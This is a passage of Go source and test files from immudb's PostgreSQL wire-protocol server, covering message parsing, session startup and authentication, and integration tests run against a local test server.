pgserror.ErrParametersValueSizeTooLarge, }, {h.Join([][]byte{h.S("port"), h.S("st"), h.I16(1), h.I16(1), h.I16(1), h.I32(-1), h.I16(-1), h.I16(1), h.I16(1)}), BindMsg{}, pgserror.ErrNegativeParameterValueLen, }, {h.Join([][]byte{h.S("port"), h.S("st"), h.I16(-1), h.I16(1), h.I16(1), h.I32(-1), h.I16(-1), h.I16(1), h.I16(1)}), BindMsg{}, pgserror.ErrMalformedMessage, }, {h.Join([][]byte{h.S("port"), h.S("st"), h.I16(1), h.I16(1), h.I16(1), h.I32(2), h.I16(1), h.I16(-1), h.I16(1)}), BindMsg{}, pgserror.ErrMalformedMessage, }, {h.Join([][]byte{h.S("port"), h.S("st"), h.I16(3), h.I16(1), h.I16(1), h.I16(3), h.I16(3), h.I32(2), h.I16(1), h.I32(2), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)}), BindMsg{}, pgserror.ErrMalformedMessage, }, } pgmeta.MaxMsgSize = 1024 for i, tt := range tests { t.Run(fmt.Sprintf("%d_bind", i), func(t *testing.T) { s, err := ParseBindMsg(tt.in) require.Equal(t, tt.out, s) require.ErrorIs(t, err, tt.e) }) } } ================================================ FILE: pkg/pgsql/server/fmessages/describe.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fmessages type DescribeMsg struct { // 'S' to describe a prepared statement; or 'P' to describe a portal. DescType string // The name of the prepared statement or portal to describe (an empty string selects the unnamed prepared statement or portal). Name string } func ParseDescribeMsg(msg []byte) (DescribeMsg, error) { descType := msg[0] return DescribeMsg{ DescType: string(descType), Name: string(msg[1 : len(msg)-1]), }, nil } ================================================ FILE: pkg/pgsql/server/fmessages/execute.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fmessages import ( "bufio" "bytes" ) // Once a portal exists, it can be executed using an Execute message. The Execute message specifies the portal name // (empty string denotes the unnamed portal) and a maximum result-row count (zero meaning “fetch all rows”). // The result-row count is only meaningful for portals containing commands that return row sets; in other cases the // command is always executed to completion, and the row count is ignored. The possible responses to Execute are the // same as those described above for queries issued via simple query protocol, except that Execute doesn't cause // ReadyForQuery or RowDescription to be issued. // // If Execute terminates before completing the execution of a portal (due to reaching a nonzero result-row count), it // will send a PortalSuspended message; the appearance of this message tells the frontend that another Execute should be // issued against the same portal to complete the operation. The CommandComplete message indicating completion of the // source SQL command is not sent until the portal's execution is completed. Therefore, an Execute phase is always // terminated by the appearance of exactly one of these messages: CommandComplete, EmptyQueryResponse (if the portal was // created from an empty query string), ErrorResponse, or PortalSuspended. type Execute struct { // The name of the portal to execute (an empty string selects the unnamed portal). PortalName string // Maximum number of rows to return, if portal contains a query that returns rows (ignored otherwise). Zero denotes “no limit”. MaxRows int32 } func ParseExecuteMsg(payload []byte) (Execute, error) { b := bytes.NewBuffer(payload) r := bufio.NewReaderSize(b, len(payload)) portalName, err := getNextString(r) if err != nil { return Execute{}, err } maxRows, err := getNextInt32(r) if err != nil { return Execute{}, err } return Execute{ PortalName: portalName, MaxRows: maxRows, }, nil } ================================================ FILE: pkg/pgsql/server/fmessages/execute_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fmessages import ( "fmt" "io" "testing" h "github.com/codenotary/immudb/pkg/pgsql/server/fmessages/fmessages_test" "github.com/stretchr/testify/require" ) func TestExecutedMsg(t *testing.T) { var tests = []struct { in []byte out Execute e error }{ {h.Join([][]byte{h.S("port"), h.I32(2)}), Execute{ "port", // Maximum number of rows to return, if portal contains a query that returns rows (ignored otherwise). Zero denotes “no limit”. 2, }, nil, }, {h.Join([][]byte{}), Execute{}, io.EOF, }, {h.Join([][]byte{h.S("port")}), Execute{}, io.EOF, }, } for i, tt := range tests { t.Run(fmt.Sprintf("%d_execute", i), func(t *testing.T) { s, err := ParseExecuteMsg(tt.in) require.Equal(t, tt.out, s) require.ErrorIs(t, err, tt.e) }) } } ================================================ FILE: pkg/pgsql/server/fmessages/flush.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fmessages type FlushMsg struct{} func ParseFlushMsg(msg []byte) (FlushMsg, error) { return FlushMsg{}, nil } ================================================ FILE: pkg/pgsql/server/fmessages/fmessages_test/payload.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fmessages_test import ( "bytes" "encoding/binary" ) func Join(chunk [][]byte) []byte { return bytes.Join(chunk, nil) } func S(str string) []byte { return bytes.Join([][]byte{[]byte(str), {0}}, nil) } func B(b []byte) []byte { return b } func I16(i int) []byte { ib := make([]byte, 2) binary.BigEndian.PutUint16(ib, uint16(i)) return ib } func I32(i int) []byte { ib := make([]byte, 4) binary.BigEndian.PutUint32(ib, uint32(i)) return ib } func Msg(t byte, payload []byte) []byte { ml := make([]byte, 4) binary.BigEndian.PutUint32(ml, uint32(len(payload)+4)) return bytes.Join([][]byte{{t}, ml, payload}, nil) } ================================================ FILE: pkg/pgsql/server/fmessages/parse.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fmessages import ( "bufio" "bytes" ) type ParseMsg struct { // The number of parameter data types specified (can be zero). Note that this is not an indication of the number of parameters that might appear in the query string, only the number that the frontend wants to prespecify types for. ParamsCount int16 // The name of the destination prepared statement (an empty string selects the unnamed prepared statement). DestPreparedStatementName string // The query string to be parsed. Statements string // Specifies the object IDs of the parameters data type. Placing a zero here is equivalent to leaving the type unspecified. ObjectIDs []int32 } func ParseParseMsg(payload []byte) (ParseMsg, error) { b := bytes.NewBuffer(payload) r := bufio.NewReaderSize(b, len(payload)) destPreparedStatementName, err := getNextString(r) if err != nil { return ParseMsg{}, err } queryString, err := getNextString(r) if err != nil { return ParseMsg{}, err } pCount, err := getNextInt16(r) if err != nil { return ParseMsg{}, err } objectIDs := make([]int32, 0) for k := int16(0); k < pCount; k++ { ID, err := getNextInt32(r) if err != nil { return ParseMsg{}, err } objectIDs = append(objectIDs, ID) } return ParseMsg{DestPreparedStatementName: destPreparedStatementName, Statements: queryString, ParamsCount: pCount, ObjectIDs: objectIDs}, nil } ================================================ FILE: pkg/pgsql/server/fmessages/parse_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fmessages import ( "fmt" "io" "testing" h "github.com/codenotary/immudb/pkg/pgsql/server/fmessages/fmessages_test" "github.com/stretchr/testify/require" ) func TestParsedMsg(t *testing.T) { var tests = []struct { in []byte out ParseMsg e error }{ {h.Join([][]byte{h.S("st"), h.S("statement"), h.I16(1), h.I32(1)}), ParseMsg{ ParamsCount: 1, DestPreparedStatementName: "st", Statements: "statement", ObjectIDs: []int32{1}, }, nil, }, {h.Join([][]byte{h.S("st"), h.S("statement"), h.I16(1)}), ParseMsg{}, io.EOF, }, {h.Join([][]byte{h.S("st"), h.S("statement")}), ParseMsg{}, io.EOF, }, {h.Join([][]byte{h.S("st")}), ParseMsg{}, io.EOF, }, {h.Join([][]byte{}), ParseMsg{}, io.EOF, }, } for i, tt := range tests { t.Run(fmt.Sprintf("%d_Parse", i), func(t *testing.T) { s, err := ParseParseMsg(tt.in) require.Equal(t, tt.out, s) require.ErrorIs(t, err, tt.e) }) } } ================================================ FILE: pkg/pgsql/server/fmessages/password_message.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fmessages type PasswordMsg struct { secret string } func ParsePasswordMsg(payload []byte) (PasswordMsg, error) { password := payload[:len(payload)-1] //-1 A null-terminated string return PasswordMsg{secret: string(password)}, nil } func (pw *PasswordMsg) GetSecret() string { return pw.secret } ================================================ FILE: pkg/pgsql/server/fmessages/query.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fmessages type QueryMsg struct { statements string } func ParseQueryMsg(payload []byte) (QueryMsg, error) { msg := payload[:len(payload)-1] //-1 A null-terminated string return QueryMsg{statements: string(msg)}, nil } func (q *QueryMsg) GetStatements() string { return q.statements } ================================================ FILE: pkg/pgsql/server/fmessages/string_reader.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fmessages import ( "bufio" "encoding/binary" ) func getNextString(r *bufio.Reader) (string, error) { s, err := r.ReadBytes(0) if err != nil { return "", err } return string(s[:len(s)-1]), nil } func getNextInt16(r *bufio.Reader) (int16, error) { pcb := make([]byte, 2) _, err := r.Read(pcb) if err != nil { return 0, err } return int16(binary.BigEndian.Uint16(pcb)), nil } func getNextInt32(r *bufio.Reader) (int32, error) { pcb := make([]byte, 4) _, err := r.Read(pcb) if err != nil { return 0, err } return int32(binary.BigEndian.Uint32(pcb)), nil } ================================================ FILE: pkg/pgsql/server/fmessages/sync.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fmessages // At completion of each series of extended-query messages, the frontend should issue a Sync message. This parameterless // message causes the backend to close the current transaction if it's not inside a BEGIN/COMMIT transaction block // (“close” meaning to commit if no error, or roll back if error). Then a ReadyForQuery response is issued. The purpose // of Sync is to provide a resynchronization point for error recovery. When an error is detected while processing any // extended-query message, the backend issues ErrorResponse, then reads and discards messages until a Sync is reached, // then issues ReadyForQuery and returns to normal message processing. (But note that no skipping occurs if an error is // detected while processing Sync — this ensures that there is one and only one ReadyForQuery sent for each Sync.) type SyncMsg struct{} func ParseSyncMsg(msg []byte) (SyncMsg, error) { return SyncMsg{}, nil } ================================================ FILE: pkg/pgsql/server/fmessages/terminate.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fmessages type TerminateMsg struct{} func ParseTerminateMsg(payload []byte) (TerminateMsg, error) { return TerminateMsg{}, nil } ================================================ FILE: pkg/pgsql/server/initialize_session.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "bufio" "bytes" "context" "crypto/tls" "encoding/binary" "errors" "fmt" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/database" pserr "github.com/codenotary/immudb/pkg/pgsql/errors" bm "github.com/codenotary/immudb/pkg/pgsql/server/bmessages" fm "github.com/codenotary/immudb/pkg/pgsql/server/fmessages" "github.com/codenotary/immudb/pkg/pgsql/server/pgmeta" "google.golang.org/grpc" "google.golang.org/grpc/credentials" "google.golang.org/grpc/credentials/insecure" "google.golang.org/grpc/metadata" ) // InitializeSession func (s *session) InitializeSession() (err error) { defer func() { if err != nil { s.HandleError(err) s.mr.CloseConnection() } }() lb := make([]byte, 4) if _, err := s.mr.Read(lb); err != nil { return err } pvb := make([]byte, 4) if _, err := s.mr.Read(pvb); err != nil { return err } s.protocolVersion = parseProtocolVersion(pvb) // SSL Request packet if s.protocolVersion == pgmeta.PgsqlSSLRequestProtocolVersion { if s.tlsConfig == nil || len(s.tlsConfig.Certificates) == 0 { if _, err = s.writeMessage([]byte(`N`)); err != nil { return err } return pserr.ErrSSLNotSupported } if _, err = s.writeMessage([]byte(`S`)); err != nil { return err } if err = s.handshake(); err != nil { return err } lb = make([]byte, 4) if _, err := s.mr.Read(lb); err != nil { return err } pvb = make([]byte, 4) if _, err := s.mr.Read(pvb); err != nil { return err } s.protocolVersion = parseProtocolVersion(pvb) } if !isValidProtocolVersion(s.protocolVersion) { return fmt.Errorf("%w: %s", pgmeta.ErrInvalidPgsqlProtocolVersion, s.protocolVersion) } // startup message connStringLenght := int(binary.BigEndian.Uint32(lb) - 8) if connStringLenght < 0 { return pserr.ErrMalformedMessage } if connStringLenght > pgmeta.MaxMsgSize { return pserr.ErrMessageTooLarge } connString := make([]byte, connStringLenght) if _, err := s.mr.Read(connString); err != nil { return err } pr := bufio.NewScanner(bytes.NewBuffer(connString)) split := func(data []byte, atEOF bool) (int, []byte, error) { if atEOF && len(data) == 0 { return 0, nil, nil } if i := bytes.IndexByte(data, 0); i >= 0 { return i + 1, data[0:i], nil } if atEOF { return len(data), data, nil } return 0, nil, nil } pr.Split(split) pmap := make(map[string]string) for pr.Scan() { key := pr.Text() for pr.Scan() { value := pr.Text() if value != "" { pmap[key] = value } break } } s.connParams = pmap return nil } // HandleStartup errors are returned and handled in the caller func (s *session) HandleStartup(ctx context.Context) (err error) { defer func() { if err != nil { s.HandleError(err) s.mr.CloseConnection() } }() user, ok := s.connParams["user"] if !ok || user == "" { return pserr.ErrUsernameNotprovided } s.user = user db, ok := s.connParams["database"] if !ok { return pserr.ErrDBNotprovided } s.db, err = s.dbList.GetByName(db) if err != nil { if errors.Is(err, database.ErrDatabaseNotExists) { return pserr.ErrDBNotExists } return err } if _, err = s.writeMessage(bm.AuthenticationCleartextPassword()); err != nil { return err } msg, _, err := s.nextMessage() if err != nil { return err } pw, ok := msg.(fm.PasswordMsg) if !ok || pw.GetSecret() == "" { return pserr.ErrPwNotprovided } var transportCredentials credentials.TransportCredentials if s.tlsConfig == nil || s.tlsConfig.RootCAs == nil { transportCredentials = insecure.NewCredentials() } else { config := &tls.Config{ RootCAs: s.tlsConfig.RootCAs, } transportCredentials = credentials.NewTLS(config) } opts := client.DefaultOptions(). WithAddress(s.immudbHost). WithPort(s.immudbPort). WithDisableIdentityCheck(true). WithDialOptions([]grpc.DialOption{grpc.WithTransportCredentials(transportCredentials)}) s.client = client.NewClient().WithOptions(opts) err = s.client.OpenSession(ctx, []byte(user), []byte(pw.GetSecret()), db) if err != nil { return err } s.client.CurrentState(context.Background()) sessionID := s.client.GetSessionID() s.ctx = metadata.NewIncomingContext(context.Background(), metadata.Pairs("sessionid", sessionID)) s.log.Debugf("authentication successful for %s", user) if _, err := s.writeMessage(bm.AuthenticationOk()); err != nil { return err } if _, err := s.writeMessage(bm.ParameterStatus([]byte("standard_conforming_strings"), []byte("on"))); err != nil { return err } if _, err := s.writeMessage(bm.ParameterStatus([]byte("client_encoding"), []byte("UTF8"))); err != nil { return err } // todo this is needed by jdbc driver. Here is added the minor supported version at the moment if _, err := s.writeMessage(bm.ParameterStatus([]byte("server_version"), []byte(pgmeta.PgsqlServerVersion))); err != nil { return err } return nil } func parseProtocolVersion(payload []byte) string { major := int(binary.BigEndian.Uint16(payload[0:2])) minor := int(binary.BigEndian.Uint16(payload[2:4])) return fmt.Sprintf("%d.%d", major, minor) } func isValidProtocolVersion(version string) bool { return version == pgmeta.PgsqlProtocolVersion || version == pgmeta.PgsqlSSLRequestProtocolVersion } func (s *session) Close() error { s.mr.CloseConnection() if s.client != nil { return s.client.CloseSession(s.ctx) } return nil } ================================================ FILE: pkg/pgsql/server/message.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "encoding/binary" "fmt" "math" "net" "github.com/codenotary/immudb/pkg/pgsql/errors" "github.com/codenotary/immudb/pkg/pgsql/server/pgmeta" ) type rawMessage struct { t byte payload []byte } type messageReader struct { conn net.Conn } type MessageReader interface { ReadRawMessage() (*rawMessage, error) Write(msg []byte) (int, error) Read(data []byte) (int, error) UpgradeConnection(conn net.Conn) CloseConnection() error Connection() net.Conn } func NewMessageReader(conn net.Conn) *messageReader { return &messageReader{conn: conn} } func (r *messageReader) ReadRawMessage() (*rawMessage, error) { t := make([]byte, 1) if _, err := r.conn.Read(t); err != nil { return nil, err } if _, ok := pgmeta.MTypes[t[0]]; !ok { return nil, fmt.Errorf(errors.ErrUnknowMessageType.Error()+". Message first byte was %s", string(t[0])) } lb := make([]byte, 4) if _, err := r.conn.Read(lb); err != nil { return nil, err } pLen := binary.BigEndian.Uint32(lb) - 4 // unsigned integer operations discard high bits upon overflow, and programs may rely on "wrap around" if pLen > math.MaxInt32 { return nil, errors.ErrMalformedMessage } if pLen > uint32(pgmeta.MaxMsgSize) { return nil, errors.ErrMessageTooLarge } payload := make([]byte, pLen) if _, err := r.conn.Read(payload); err != nil { return nil, err } return &rawMessage{ t: t[0], payload: payload, }, nil } func (r *messageReader) Write(data []byte) (int, error) { return r.conn.Write(data) } func (r *messageReader) Read(data []byte) (int, error) { return r.conn.Read(data) } func (r *messageReader) UpgradeConnection(conn net.Conn) { r.conn = conn } func (r *messageReader) CloseConnection() error { if r.conn != nil { return r.conn.Close() } return nil } func (r *messageReader) Connection() net.Conn { return r.conn } ================================================ FILE: pkg/pgsql/server/message_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "encoding/binary" "io" "math" "net" "testing" "github.com/codenotary/immudb/pkg/pgsql/errors" "github.com/codenotary/immudb/pkg/pgsql/server/pgmeta" "github.com/stretchr/testify/require" ) func TestSession_MessageReader(t *testing.T) { c1, c2 := net.Pipe() mr := &messageReader{ conn: c1, } go func() { c2.Write([]byte{'E'}) c2.Close() }() _, err := mr.ReadRawMessage() require.ErrorIs(t, err, io.EOF) c1, c2 = net.Pipe() mr = &messageReader{ conn: c1, } go func() { c2.Write([]byte{'E'}) c2.Write([]byte{0, 0, 0, 4}) c2.Close() }() _, err = mr.ReadRawMessage() require.ErrorIs(t, err, io.EOF) mr = &messageReader{} err = mr.CloseConnection() require.NoError(t, err) c1, c2 = net.Pipe() mr = &messageReader{ conn: c1, } b := make([]byte, 4) binary.BigEndian.PutUint32(b, math.MaxUint32) go func() { c2.Write([]byte{'E'}) c2.Write(b) c2.Close() }() _, err = mr.ReadRawMessage() require.ErrorIs(t, err, errors.ErrMalformedMessage) mr = &messageReader{} err = mr.CloseConnection() require.NoError(t, err) } func TestSession_MessageReaderMaxMsgSize(t *testing.T) { c1, c2 := net.Pipe() mr := &messageReader{ conn: c1, } b := make([]byte, 4) binary.BigEndian.PutUint32(b, uint32(pgmeta.MaxMsgSize)) go func() { c2.Write([]byte{'E'}) c2.Write(b) c2.Close() }() _, err := mr.ReadRawMessage() require.ErrorIs(t, err, io.EOF) mr = &messageReader{} err = mr.CloseConnection() require.NoError(t, err) } ================================================ FILE: pkg/pgsql/server/options.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "crypto/tls" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/database" ) type Option func(s *pgsrv) func Host(host string) Option { return func(args *pgsrv) { args.host = host } } func Port(port int) Option { return func(args *pgsrv) { args.port = port } } func ImmudbPort(port int) Option { return func(args *pgsrv) { args.immudbPort = port } } func Logger(logger logger.Logger) Option { return func(args *pgsrv) { args.logger = logger } } func TLSConfig(tlsConfig *tls.Config) Option { return func(args *pgsrv) { args.tlsConfig = tlsConfig } } func LogRequestMetadata(enabled bool) Option { return func(args *pgsrv) { args.logRequestMetadata = enabled } } func DatabaseList(dbList database.DatabaseList) Option { return func(args *pgsrv) { args.dbList = dbList } } ================================================ FILE: pkg/pgsql/server/pgmeta/pg_type.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package pgmeta import ( "errors" "fmt" "github.com/codenotary/immudb/embedded/sql" ) const ( PgTypeMapOid = 0 PgTypeMapLength = 1 PgsqlProtocolVersion = "3.0" PgsqlSSLRequestProtocolVersion = "1234.5679" PgsqlServerVersion = "9.6" ) var PgsqlServerVersionMessage = fmt.Sprintf("pgsql server %s or greater version implemented by immudb", PgsqlServerVersion) var ErrInvalidPgsqlProtocolVersion = errors.New("invalid pgsql protocol version") // PgTypeMap maps the immudb type descriptor with pgsql pgtype map. // First int is the oid value (retrieved with select * from pg_type;) // Second int is the length of the value. -1 for dynamic. var PgTypeMap = map[string][]int{ sql.BooleanType: {16, 1}, //bool sql.BLOBType: {17, -1}, //bytea sql.TimestampType: {20, 8}, //int8 sql.IntegerType: {20, 8}, //int8 sql.VarcharType: {25, -1}, //text sql.UUIDType: {2950, 16}, //uuid sql.Float64Type: {701, 8}, //double-precision floating point number sql.JSONType: {114, -1}, //json sql.AnyType: {17, -1}, // bytea } const PgSeverityError = "ERROR" const PgSeverityFaral = "FATAL" const PgSeverityPanic = "PANIC" const PgSeverityWarning = "WARNING" const PgSeverityNotice = "NOTICE" const PgSeverityDebug = "DEBUG" const PgSeverityInfo = "INFO" const PgSeverityLog = "LOG" const PgServerErrRejectedEstablishmentOfSqlconnection = "08004" const PgServerErrSyntaxError = "42601" const PgServerErrProtocolViolation = "08P01" const PgServerErrConnectionFailure = "08006" const ProgramLimitExceeded = "54000" const DataException = "22000" var MTypes = map[byte]string{ 'Q': "query", 'T': "rowDescription", 'D': "dataRow", 'C': "commandComplete", 'Z': "readyForQuery", 'R': "authentication", 'p': "passwordMessage", 'U': "unknown", 'X': "terminate", 'S': "parameterStatus", 'E': "execute", 'P': "parse", 't': "parameterDesctiption", 'B': "bind", 'H': "flush", } var MaxMsgSize = 32 << 20 // 32MB ================================================ FILE: pkg/pgsql/server/pgsql_integration_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server_test import ( "context" "crypto/tls" "crypto/x509" "database/sql" "encoding/hex" "fmt" "math/rand" "net/http" "os" "testing" "time" isql "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/pgsql/errors" "github.com/codenotary/immudb/pkg/pgsql/server/pgmeta" "github.com/codenotary/immudb/pkg/server" "github.com/jackc/pgx/v4" pq "github.com/lib/pq" "github.com/stretchr/testify/require" ) func TestPgsqlServer_SimpleQuery(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() result, err := db.Exec(fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, title VARCHAR, content BLOB, PRIMARY KEY id)", table)) require.NoError(t, err) require.NotNil(t, result) _, err = db.Exec(fmt.Sprintf("UPSERT INTO %s (id, amount, title) VALUES (1, 200, 'title 1')", table)) require.NoError(t, err) var id int64 var amount int64 var title string err = db.QueryRow(fmt.Sprintf("SELECT id, amount, title FROM %s", table)).Scan(&id, &amount, &title) require.NoError(t, err) } func TestPgsqlServer_SimpleQueryBlob(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() _, err = db.Exec(fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, title VARCHAR, content BLOB, PRIMARY KEY id)", table)) require.NoError(t, err) blobContent := hex.EncodeToString([]byte("my blob content")) _, err = db.Exec(fmt.Sprintf("UPSERT INTO %s (id, amount, title, content) VALUES (1, 200, 'title 1', x'%s')", table, blobContent)) require.NoError(t, err) var id int64 var amount int64 var title string var content string err = db.QueryRow(fmt.Sprintf("SELECT id, amount, title, content FROM %s", table)).Scan(&id, &amount, &title, &content) require.NoError(t, err) contentDst := make([]byte, 1000) _, err = hex.Decode(contentDst, []byte(content)) require.NoError(t, err) } func TestPgsqlServer_SimpleQueryBool(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() _, err = db.Exec(fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, title VARCHAR, isPresent BOOLEAN, PRIMARY KEY 